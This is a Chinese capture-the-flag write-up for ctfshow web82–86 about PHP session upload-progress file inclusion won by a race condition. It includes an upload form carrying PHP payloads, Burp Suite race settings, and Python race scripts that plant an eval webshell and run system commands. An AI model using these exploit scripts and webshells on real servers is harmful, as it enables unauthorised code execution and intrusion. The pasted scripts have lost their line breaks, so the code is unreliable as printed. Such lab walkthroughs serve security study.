ctfshow-web入门-文件包含(web82-web86)条件竞争实现session会话文件包含

目录

1、web82

2、web83

3、web84

4、web85

5、web86


1、web82

新增过滤点 . ,查看提示:利用 session 对话进行文件包含,通过条件竞争实现。

条件竞争这个知识点在文件上传、不死马利用与查杀这些里面也会涉及,如果大家不熟悉条件竞争可以先看看我之前的博客在文件上传中的介绍:

wzsc_文件上传(条件竞争)_竞争条件文件上传-CSDN博客

大致说一下这道题的利用点:

我们在 Cookie 里设置了 PHPSESSID=test,PHP 将会在服务器上创建一个文件:/tmp/sess_test,但是对于默认配置 session.upload_progress.cleanup = on,文件上传后 session 文件内容会立即被清空,我们需要通过条件竞争,在服务器还未来得及删除我们上传的session 文件内容前,成功访问包含到该文件,实现恶意代码的命令执行。

首先我们写一个关于这道题的文件上传框:

内容如下:

注意替换为你自己题目的地址,并将文件命名为 .html 后缀,双击即可打开,其中 value="<?php system('ls'); ?>" 其实就是我们的 payload,即我们希望执行的恶意代码。

<!DOCTYPE html>
<html>
<body>
<form action="https://84202b35-60d0-4bd2-bee2-781631694f2c.challenge.ctf.show//" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php system('ls'); ?>" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
<?php
session_start();
?>

双击打开页面,开启 burpsuite 拦截本地请求,随便选一个文件上传提交:

使用 burpsuite 抓包,抓到后发给攻击模块:

按照前面说的利用点,我们需要对 Cookie 进行添加:PHPSESSID=exp(可以自定义的)

接下来就是条件竞争的设置,这里不涉及什么参数的爆破,因此清空掉 $

payload 选择 null(也就是没有),并且勾选上无限重复

我之前的 burpsuite 有一个选项里面可以设置线程数:

现在用的这个 burpsuite 有点不一样,应该是这里:

目前我们设置的是上传包的线程数,这里以 30 为例

之后开始攻击,我们就会不断的上传一个包含了恶意代码的文件

回到题目所在页面,我们需要再抓一个访问包,访问的文件是上面我们自定义的,我这里是:

?file=/tmp/sess_exp

因为我们前面也说了,我们在 Cookie 里设置了 PHPSESSID=test,PHP 将会在服务器上创建一个文件:/tmp/sess_test。

使用 burpsuite 抓包:

同样清空掉 $,payload 设置为 null,勾上无限重复:

特别注意一点,访问包的线程数需要大于上传包的线程数,这里以 80 为例:

之后也开始攻击,我们就会不断去访问是否存在文件 /tmp/sess_exp

一旦在服务器还未来得及删除我们上传的文件,而被我们成功访问时,根据题目的 php 代码,就会将该文件包含,进而执行我们的恶意代码。

一边不停地上传,一边不停地访问,之所以可以访问到,是因为我们访问的线程数更大:

过一会筛选长度,即可发现条件竞争成功的包:

ls 命令执行成功

修改上传包的 payload,读取 fl0g.php:

条件竞争成功:

拿到 flag:ctfshow{fb4d01d5-8eea-4f79-9d9a-05db3a7d0c9c}

在网上也找到了这类题的攻击脚本:

竞争成功写入一句话木马

import requests
import io
import threadingurl='https://84202b35-60d0-4bd2-bee2-781631694f2c.challenge.ctf.show/'
sessionid='ctfshow'
data={"1":"file_put_contents('/var/www/html/muma.php','<?php eval($_POST[a]);?>');"
}  '''
post 传递内容可在网站目录下写入一句话木马。
根据资料,内容暂存在 /tmp/ 目录下 sess_sessionid 文件。
sessionid 可控,所以这里即 /tmp/sess_ctfshow。
这样一旦访问成功,就说明木马植入了
'''# /tmp/sess_sessionid 中写入一句话木马。
def write(session):  fileBytes = io.BytesIO(b'a'*1024*50)while True:response=session.post(url,data={'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'},cookies={'PHPSESSID':sessionid},files={'file':('ctfshow.jpg',fileBytes)})# 访问 /tmp/sess_sessionid,post 传递信息,保存新木马。
def read(session):while True:response=session.post(url+'?file=/tmp/sess_'+sessionid,data=data,cookies={'PHPSESSID':sessionid})# 访问木马文件,如果访问到了就代表竞争成功resposne2=session.get(url+'muma.php')if resposne2.status_code==200:print('++++++done++++++')else:print(resposne2.status_code)if __name__ == '__main__':evnet=threading.Event()# 写入和访问分别设置 5 个线程。with requests.session() as session:for i in range(5):threading.Thread(target=write,args=(session,)).start()for i in range(5):threading.Thread(target=read,args=(session,)).start()evnet.set()

运行看到  ++++++done++++++ 之后说明木马写入成功

访问 muma.php 并调用:

a=system('ls');

可以看到我们写入的木马,就在当前目录

读取 flag:

a=system('tac fl0g.php');

2、web83

新增两个函数:

session_unset();
session_destroy();

两者都是 PHP 中与会话(session)管理相关的函数,用于清除和销毁会话数据。

session_unset():

作用: 清空当前会话中的所有变量。

使用场景: 当你希望保留会话但清除会话中的数据时使用。例如,你可能想让用户保持登录状态,但重置会话中的特定数据。

示例:

session_start(); // 开始会话
$_SESSION['username'] = 'John'; // 设置会话变量
session_unset(); // 清空所有会话变量
echo isset($_SESSION['username']); // 输出: bool(false)

session_destroy():

作用: 完全销毁会话,包括会话数据和会话ID。

使用场景: 当你希望用户完全登出或结束会话时使用。例如,用户点击“注销”按钮时,通常会调用此函数。

示例:

session_start(); // 开始会话
$_SESSION['username'] = 'John'; // 设置会话变量
session_destroy(); // 销毁会话
echo isset($_SESSION['username']); // 输出: bool(false)

总结:

session_unset()只是清空会话变量,但会话仍然存在。
session_destroy()完全销毁会话,包括会话数据和会话ID。
两者常常一起使用,以确保会话数据被清除,并确保会话本身被销毁:

session_start(); // 开始会话
session_unset(); // 清空所有会话变量
session_destroy(); // 销毁会话

这两个函数对于我们这里的条件竞争影响不大,在第一题中我们已经介绍过利用的原理了,因此后面我就不再演示手动的步骤,直接使用脚本来打。

这里给到另一个脚本,我们直接执行命令:

#coding=utf-8import io
import requests
import threading
sessid = 'exp'
data = {"cmd":"system('whoami');"}
def write(session):while True:f = io.BytesIO(b'a' * 1024 * 50)resp = session.post( 'https://ff5baee2-33e9-4249-8188-b79f81296793.challenge.ctf.show/', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('test.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):while True:resp = session.post('https://ff5baee2-33e9-4249-8188-b79f81296793.challenge.ctf.show/?file=/tmp/sess_'+sessid,data=data)if 'test.txt' in resp.text:print(resp.text)event.clear()else:print("[+++++++++++++]retry")
if __name__=="__main__":event=threading.Event()with requests.session() as session:for i in range(1,30):threading.Thread(target=write,args=(session,)).start()for i in range(1,30):threading.Thread(target=read,args=(session,)).start()event.set()

运行脚本,whoami 命令执行成功 

接下来我们执行 ls 命令:

存在 fl0g.php

读取 flag:

拿到 flag:ctfshow{b4f6c4ae-24c3-4bdf-b0cb-02d44a71069e}

 

3、web84

新增  system("rm -rf /tmp/*"); 删除我们上传的文件,其实 session.upload_progress.cleanup = on 本身就会进行清空,所以这里对我们利用影响不大。

改一下题目地址继续读 flag:

拿到 flag:ctfshow{06f54734-37c6-4b2e-b9da-37df8d66555f}

4、web85

新增:

    if(file_exists($file)){$content = file_get_contents($file);if(strpos($content, "<")>0){die("error");}

 file_get_contents 函数将会读取文件的全部内容并将其作为字符串返回,strpos($content, "<") 查找字符串 $content 中首次出现字符 < 的位置,如果其位置索引大于 0,则会停止执行并输出 error 信息。

对我们条件竞争不影响,沿用上面的脚本:

拿到 flag:ctfshow{44cafdd4-f08a-483d-af45-19ed3229dd81}

5、web86

新增:

define('还要秀?', dirname(__FILE__));
set_include_path(还要秀?);

代码解释:

define 函数用于定义一个常量。在这里,它定义了一个名为 还要秀? 的常量。
dirname(__FILE__) 返回当前文件所在的目录路径。__FILE__ 是一个魔术常量,表示当前文件的完整路径和文件名,而 dirname(__FILE__) 则获取当前文件的目录部分。
因此,这行代码将当前文件的目录路径赋值给名为 还要秀? 的常量。

set_include_path 函数用于设置 PHP 包含文件的搜索路径,在这里,它将包含路径设置为 还要秀? 这个常量的值,即当前文件的目录路径。

设置 PHP 的包含路径为当前文件的目录路径。这样在后续代码中使用 include()  时,可以省略文件的完整路径,只需提供文件名。

当使用 include()、require()、include_once() 或 require_once() 时,如果提供的路径既不是绝对路径也不是相对路径,PHP 会首先在 include_path 设置的目录中查找文件。

我们条件竞争进行包含的文件是一个完整路径,即 /tmp/sess_exp,因此不影响:

拿到 flag:ctfshow{8dc8c8cd-7851-4e2e-9afb-dfba214569d4}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/41508.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

第一百四十八节 Java数据类型教程 - Java字符串搜索和Java子字符串

Java数据类型教程 - Java字符串搜索 我们可以使用indexOf()和lastIndexOf()方法获取另一个字符串中的字符或字符串的索引。例如 public class Main {public static void main(String[] args) {String str new String("Apple");int index str.indexOf("p"…

三界-欢迎来到Web3D+GIS学习天地!

三界-欢迎来到Web3DGIS学习天地&#xff01; 地址&#xff1a;threelab.cn ** 坚持封装自己的引擎已经有三年了&#xff0c;每天都是加班熬夜开发功能&#xff0c;做东西。 虽然这段时间内&#xff0c;我一直在业余时间坚持开发&#xff0c;但实际投入的开发时间并不长&#…

Linux 系统管理4——账号管理

一、用户账号管理 1、用户账号概述 &#xff08;1&#xff09;用户账号的常见分类&#xff1a; 1>超级用户&#xff1a;root uid0 gid0 权限最大。 2>普通用户&#xff1a;uid>500 做一般权限的系统管理&#xff0c;权限有限。 3>程序用户&#xff1a;1<uid&l…

im即时通讯软件有哪些?WorkPlus安全专属移动数字化平台

IM即时通讯软件是为满足快速、即时沟通需求而设计的工具。在众多IM即时通讯软件中&#xff0c;WorkPlus作为一种安全专属移动数字化平台&#xff0c;为企业提供了全方位的移动办公解决方案&#xff0c;并注重信息安全和数据隐私保护。本文将介绍几种常见的IM即时通讯软件以及Wo…

渲染回调函数将音频传给音频单元

渲染回调函数将音频传给音频单元 渲染回调函数将音频传给音频单元了解音频单元渲染回调函数 渲染回调函数将音频传给音频单元 要将音频从磁盘或内存提供到音频单元输入总线&#xff0c;需使用符合 AURenderCallback 原型的渲染回调函数进行传输。当需要另一片样本帧时&#xf…

mac|Mac压缩与解压缩

1、系统自带的压缩软件。但是它能解压的格式很少 2、keka&#xff08;优点&#xff1a;体积小&#xff0c;没广告&#xff09; 支持压缩格式&#xff1a;7z&#xff0c;Zip&#xff0c;Tar&#xff0c;Gzip&#xff0c;Bzip2&#xff0c;DMG&#xff0c;ISO 支持的提取格式&…

Hugging Face 全球政策负责人首次参加WAIC 2024 前沿 AI 安全和治理论坛

Hugging Face 全球政策负责人艾琳-索莱曼 &#xff08; Irene Solaiman &#xff09;将参加7月5日在上海举办的WAIC-前沿人工智能安全和治理论坛&#xff0c;并在现场进行主旨演讲和参加圆桌讨论。具体时间信息如下&#xff1a;主旨演讲&#xff1a;开源治理的国际影响时间 &am…

#招聘数据分析#2024年6月前程无忧招聘北上广深成渝对比情况

#招聘数据分析#2024年6月前程无忧招聘北上广深成渝对比情况 0、根据前程无忧不完全样本统计&#xff0c;北上广深成都重庆平均月工资从高到低依次为 北京15441元、上海14425元、深圳13310元、广州11192元、成都10539元、重庆10290。 1、成都招聘样本数全量35228个&#xff0c…

数据库原理之并发控制的基本概念

我们今天继续来看数据库原理&#xff0c;我们简单讲讲数据库的并发控制。 并发控制的定义 并发控制是为了保证事务的隔离性和一致性&#xff0c;数据库管理系统需要对并发操作进行正确调度。并发控制的主要技术有&#xff1a;、时间戳、乐观控制法、多版本并发控制等。 并发操…

TreeMap、HashMap 和 LinkedHashMap 的区别

TreeMap、HashMap 和 LinkedHashMap 的区别 1、HashMap2、LinkedHashMap3、TreeMap4、总结 &#x1f496;The Begin&#x1f496;点点关注&#xff0c;收藏不迷路&#x1f496; 在 Java 中&#xff0c;TreeMap、HashMap 和 LinkedHashMap 是三种常用的集合类&#xff0c;它们在…

APP渗透-android12夜神模拟器+Burpsuite实现

一、夜神模拟器下载地址&#xff1a;https://www.yeshen.com/ 二、使用openssl转换证书格式 1、首先导出bp证书 2、将cacert.der证书在kali中转换 使用openssl生成pem格式证书,并授予最高权限 openssl x509 -inform der -in cacert.der -out cacert.pem chmod 777 cacert…

IT高手修炼手册(2)cmd命令

一、前言 CMD&#xff08;命令提示符&#xff09;是Windows操作系统中的一个重要工具&#xff0c;用于执行命令行操作&#xff0c;旨在提高用户在CMD中的操作效率和便利性。 二、常用cmd命令及其简要说明 1. 快捷键F1&#xff1a;按F1一次&#xff0c;命令提示符向后切换到已经…

利用redis set 实现点赞案例 zset 对点赞进行排序

基于数据库 表 CREATE TABLE IF NOT EXISTS liked_record (id bigint NOT NULL AUTO_INCREMENT COMMENT 主键id,user_id bigint NOT NULL COMMENT 用户id,biz_id bigint NOT NULL COMMENT 点赞的业务id,biz_type VARCHAR(16) NOT NULL COMMENT 点赞的业务类型,create_time da…

海外金融机构银行保险证券数字化转型营销销售数字化成功案例讲师培训师讲授开户销售营销客户AI人工智能创新思维

金融机构需要数字营销的主要原因 数字银行、直接存款和移动网络的兴起让客户无需前往当地分行即可轻松办理银行业务。这些举措不仅提升了用户体验&#xff0c;也迫使银行向数字化世界迈进。 金融服务公司需要在数字营销渠道上保持稳固的地位&#xff0c;以免落后于大型机构。…

Stream的获取、中间方法、终结方法

1、获取Stream流 单列集合&#xff1a;foreach完整版 双列集合通过Ketset()、entryset() 数组的&#xff1a;通过Arrays Stream流的中间方法&#xff1a;链式编程&#xff0c;原stream流只能使用一次 filter&#xff1a; limit、skip&#xff1a; distinct(有自定义对象需要重写…

群体优化算法---猫群算法介绍,物流配送路径规划(包含3-opt,贪心算法)

介绍 猫群算法&#xff08;Cat Swarm Optimization&#xff0c;CSO&#xff09;是一种新型的基于群体智能的优化算法&#xff0c;由Chu et al.在2006年提出。该算法通过模拟猫的行为&#xff0c;尤其是其两种主要的行为&#xff1a;追捕行为&#xff08;seeking mode&#xff…

AWS云服务器的竞争优势

亚马逊网络服务&#xff08;AWS&#xff09;作为全球最大的云计算平台&#xff0c;在激烈的市场竞争中一直保持领先地位。相较于其他云服务提供商&#xff0c;AWS云服务器具有多方面的显著优势&#xff0c;使其成为众多企业和开发者的首选&#xff0c;我们结合九河云的分析一起…

如何在前端网页实现live2d的动态效果

React如何在前端网页实现live2d的动态效果 业务需求&#xff1a; 因为公司需要做机器人相关的业务&#xff0c;主要是聊天形式的内容&#xff0c;所以需要一个虚拟的卡通形象。而且为了更直观的展示用户和机器人对话的状态&#xff0c;该live2d动画的嘴型需要根据播放的内容来…

开源协作wiki和文档软件Docmost

什么是 Docmost &#xff1f; Docmost 是一款开源协作 wiki 和文档软件。它是 Confluence 和 Notion 等软件的开源替代品。使用 Docmost 可以无缝创建、协作和共享知识。非常适合管理您的 wiki、知识库、文档等。目前 Docmost 处于测试阶段。 软件的主要特点 安装 在群晖上以 …

Linux运维:MySQL备份,物理冷备份,热备,完备+二进制日志

备份类型 完全备份、增量备份、差异备份 完全备份&#xff1a;整个数据集都备份 增量备份&#xff1a;仅备份最近一次完全备份或增量备份&#xff08;如果存在增量&#xff09;以来变化的数据&#xff0c;备份较快&#xff0c;还原复杂。 差异备份&#xff1a;对比前一次备…